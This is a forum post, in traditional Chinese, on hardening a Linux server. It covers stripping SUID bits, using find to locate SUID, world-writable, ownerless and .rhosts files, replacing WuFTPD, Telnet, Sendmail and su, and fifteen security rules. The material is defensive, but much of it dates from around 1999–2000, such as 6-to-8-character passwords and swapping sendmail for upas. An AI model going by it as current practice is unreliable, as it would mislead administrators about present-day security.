  *-rwsr-xr-x 1 root root 30560 Apr 15 20:03 /usr/bin/chage
  *-rwsr-xr-x 1 root root 29492 Apr 15 20:03 /usr/bin/gpasswd
  -rwsr-xr-x 1 root root 3208 Mar 22 1999 /usr/bin/disable-paste
  -rwxr-sr-x 1 root man 32320 Apr 9 1999 /usr/bin/man
  -r-s--x--x 1 root root 10704 Apr 14 17:21 /usr/bin/passwd
  -rws--x--x 2 root root 517916 Apr 6 1999 /usr/bin/suidperl
  -rws--x--x 2 root root 517916 Apr 6 1999 /usr/bin/sperl5.00503
  -rwxr-sr-x 1 root mail 11432 Apr 6 1999 /usr/bin/lockfile
  -rwsr-sr-x 1 root mail 64468 Apr 6 1999 /usr/bin/procmail
  -rwsr-xr-x 1 root root 21848 Aug 27 11:06 /usr/bin/crontab
  -rwxr-sr-x 1 root slocate 15032 Apr 19 14:55 /usr/bin/slocate
  *-r-xr-sr-x 1 root tty 6212 Apr 17 11:29 /usr/bin/wall
  *-rws--x--x 1 root root 14088 Apr 17 12:57 /usr/bin/chfn
  *-rws--x--x 1 root root 13800 Apr 17 12:57 /usr/bin/chsh
  *-rws--x--x 1 root root 5576 Apr 17 12:57 /usr/bin/newgrp
  *-rwxr-sr-x 1 root tty 8392 Apr 17 12:57 /usr/bin/write
  -rwsr-x--- 1 root squid 14076 Oct 7 14:48 /usr/lib/squid/pinger
  -rwxr-sr-x 1 root utmp 15587 Jun 9 09:30 /usr/sbin/utempter
  *-rwsr-xr-x 1 root root 5736 Apr 19 15:39 /usr/sbin/usernetctl
  *-rwsr-xr-x 1 root bin 16488 Jul 6 09:35 /usr/sbin/traceroute
  -rwsr-sr-x 1 root root 299364 Apr 19 16:38 /usr/sbin/sendmail
  -rwsr-xr-x 1 root root 34131 Apr 16 18:49 /usr/libexec/pt_chown
  -rwsr-xr-x 1 root root 13208 Apr 13 14:58 /bin/su
  *-rwsr-xr-x 1 root root 52788 Apr 17 15:16 /bin/mount
  *-rwsr-xr-x 1 root root 26508 Apr 17 20:26 /bin/umount
  *-rwsr-xr-x 1 root root 17652 Jul 6 09:33 /bin/ping
  -rwsr-xr-x 1 root root 20164 Apr 17 12:57 /bin/login
  *-rwxr-sr-x 1 root root 3860 Apr 19 15:39 /sbin/netreport
  -r-sr-xr-x 1 root root 46472 Apr 17 16:26 /sbin/pwdb_chkpwd
  [root@deep]# chmod a-s /usr/bin/chage
  [root@deep]# chmod a-s /usr/bin/gpasswd
  [root@deep]# chmod a-s /usr/bin/wall
  [root@deep]# chmod a-s /usr/bin/chfn
  [root@deep]# chmod a-s /usr/bin/chsh
  [root@deep]# chmod a-s /usr/bin/newgrp
  [root@deep]# chmod a-s /usr/bin/write
  [root@deep]# chmod a-s /usr/sbin/usernetctl
  [root@deep]# chmod a-s /usr/sbin/traceroute
  [root@deep]# chmod a-s /bin/mount
  [root@deep]# chmod a-s /bin/umount
  [root@deep]# chmod a-s /bin/ping
  [root@deep]# chmod a-s /sbin/netreport

  你可以用下面的命令查找所有帶s位標誌的程式:

  [root@deep]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;
> suid-sgid-results

  把結果輸出到文件suid-sgid-results中。

  為了查找所有可寫的文件和目錄,用下面的命令:

  [root@deep]# find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \; > ww-files-results
  [root@deep]# find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \; > ww-directories-results

  用下面的命令查找沒有擁有者的文件:

  [root@deep]# find / -nouser -o -nogroup > unowed-results

  用下面的命令查找所有的.rhosts文件:

  [root@deep]# find /home -name .rhosts > rhost-results

  建議替換的常見網路服務應用程式

  WuFTPD

  WuFTD從1994年就開始就不斷地出現安全漏洞,黑客很容易就可以獲得遠端root訪問(Remote Root Access)的權限,而且很多安全漏洞甚至不需要在FTP服務器上有一個有效的帳號。最近,WuFTP也是頻頻出現安全漏洞。

  它的最好的替代程式是ProFTPD。ProFTPD很容易配置,在多數情況下速度也比較快,而且它的源代碼也比較乾淨(緩衝溢出的錯誤比較少)。有許多重要的站點使用ProFTPD。sourceforge.net就是一個很好的例子(這個站點共有3,000個開放源代碼的專案,其負荷並不小啊!)。一些Linux的發行商在它們的主FTP站點上使用的也是ProFTPD,只有兩個主要Linux的發行商(SuSE和Caldera)使用WuFTPD。

  ProFTPD的另一個優點就是既可以從inetd執行又可以作為單獨的daemon執行。這樣就可以很容易解決inetd帶來的一些問題,如:拒絕服務的攻擊(denial of service attack),等等。系統越簡單,就越容易保證系統的安全。WuFTPD要麼重新審核一遍全部的源代碼(非常困難),要麼完全重寫一遍代碼,否則WuFTPD必然要被ProFTPD代替。

Telnet


  Telnet是非常非常不安全的,它用明文來傳送密碼。它的安全的替代程式是OpenSSH。

  OpenSSH在Linux上已經非常成熟和穩定了,而且在Windows平台上也有很多免費的客戶端軟件。Linux的發行商應該採用OpenBSD的策略:安裝OpenSSH並把它設置為預定的,安裝Telnet但是不把它設置成預定的。對於不在美國的Linux發行商,很容易就可以在Linux的發行版中加上OpenSSH。美國的Linux發行商就要想一些別的辦法了(例如:Red Hat在德國的FTP服務器上(ftp.redhat.de)就有最新的OpenSSH的rpm軟件包)。

  Telnet是無可救藥的程式。要保證系統的安全必須用OpenSSH這樣的軟件來替代它。

  Sendmail

  最近這些年,Sendmail的安全性已經提高很多了(以前它通常是黑客重點攻擊的程式)。然而,Sendmail還是有一個很嚴重的問題。一旦出現了安全漏洞(例如:最近出現的Linux內核錯誤),Sendmail就是被黑客重點攻擊的程式,因為Sendmail是以root權限執行而且代碼很龐大容易出問題。

  幾乎所有的Linux發行商都把Sendmail作為預定的配置,只有少數幾個把Postfix或Qmail作為可選擇的軟件包。但是,很少有Linux的發行商在自己的郵件服務器上使用Sendmail。SuSE和Red Hat都使用基於Qmail的系統。

  Sendmail並不一定會被別的程式完全替代。但是它的兩個替代程式Qmail和Postfix都比它安全、速度快,而且特別是Postfix比它容易配置和維護。

  su

  su是用來改變當前用戶的ID,轉換成別的用戶。你可以以普通用戶登入,當需要以root身份做一些事的時候,只要執行「su」命令,然後輸入root的密碼。su本身是沒有問題的,但是它會讓人養成不好的習慣。如果一個系統有多個管理員,必須都給他們root的口令。

  su的一個替代程式是sudo。Red Hat 6.2中包含這個軟件。sudo允許你設置哪個用戶哪個組可以以root身份執行哪些程式。你還可以根據用戶登入的位置對他們加以限制(如果有人「破」了一個用戶的口令,並用這個帳號從遠端電腦登入,你可以限制他使用sudo)。Debian也有一個類似的程式叫super,與sudo比較各有優缺點。

  讓用戶養成良好的習慣。使用root帳號並讓多個人知道root的密碼並不是一個好的習慣。這就是http://www.apache.org被入侵的原...入侵的。

  named

  大部分Linux的發行商都解決了這個問題。named以前是以root執行的,因此當named出現新的漏洞的時候,很容易就可以入侵一些很重要的電腦並獲得root權限。現在只要用命令行的一些參數就能讓named以非root的用戶執行。而且,現在絕大多數Linux的發行商都讓named以普通用戶的權限執行。命令格式通常為:named -u <user name> -g <group name>

  INN

  在INN的文檔中已經明確地指出:「禁止這項功能(verifycancels),這項功能是沒有用的而且將被除掉」。大約在一個月前,一個黑客發佈了當「verifycancels」生效的時候入侵INN的方法。Red Hat是把「verifycancels」設為有效的。任何setuid/setgid的程式或網路服務程式都要正確地安裝並且進行檢查以保證盡量沒有安全漏洞。

安全守則

  1. 廢除系統所有預定的帳號和密碼。
  2. 在用戶合法性得到驗證前不要顯示公司題頭、線上幫助以及其它訊息。
  3. 廢除「黑客」可以攻擊系統的網路服務。
  4. 使用6到8位的字母數位式密碼。
  5. 限制用戶嘗試登入到系統的次數。
  6. 記錄違反安全性的情況並對安全記錄進行複查。
  7. 對於重要訊息,上網傳輸前要先進行加密。
  8. 重視專家提出的建議,安裝他們推薦的系統「修正檔」。
  9. 限制不需密碼即可訪問的主機文件。
  10.修改網路配置文件,以便將來自外部的TCP連接限制到最少數量的連接阜。不允許諸如tftp,sunrpc,printer,rlogin或rexec之類的協議。
  11.用upas代替sendmail。sendmail有太多已知漏洞,很難修補完全。
  12.去掉對操作並非至關重要又極少使用的程式。
  13.使用chmod將所有系統目錄變更為711模式。這樣,攻擊者們將無法看到它們當中有什麼東西,而用戶仍可執行。
  14.只要可能,就將磁碟安裝為只讀模式。其實,僅有少數目錄需讀寫狀態。
  15.將系統軟件升級為最新版本。老版本可能已被研究並被成功攻擊,最新版本一般包括了這些問題的補救。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 11:19 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1